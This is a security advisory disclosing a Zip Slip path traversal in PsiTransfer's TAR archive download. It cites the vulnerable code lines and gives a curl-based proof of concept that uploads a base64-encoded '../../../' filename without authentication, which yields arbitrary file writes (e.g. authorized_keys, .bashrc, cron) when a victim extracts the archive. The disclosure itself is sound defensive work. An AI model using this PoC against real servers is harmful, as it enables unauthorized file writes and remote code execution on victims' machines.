GHSA-xphh-5v4r-r3rx PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized_keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

Details

The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.

lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size });

lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');

PoC

I. Upload file with malicious filename (no authentication required).

MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Length: 15" \
  -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}"

II. Complete upload with PATCH

curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" \
  -H "Tus-Resumable: 1.0.0" \
  -H "Upload-Offset: 0" \
  -H "Content-Type: application/offset+octet-stream" \
  -d "MALICIOUS_CONTENT"

III. Victim downloads and extracts TAR

curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz

Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc… No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.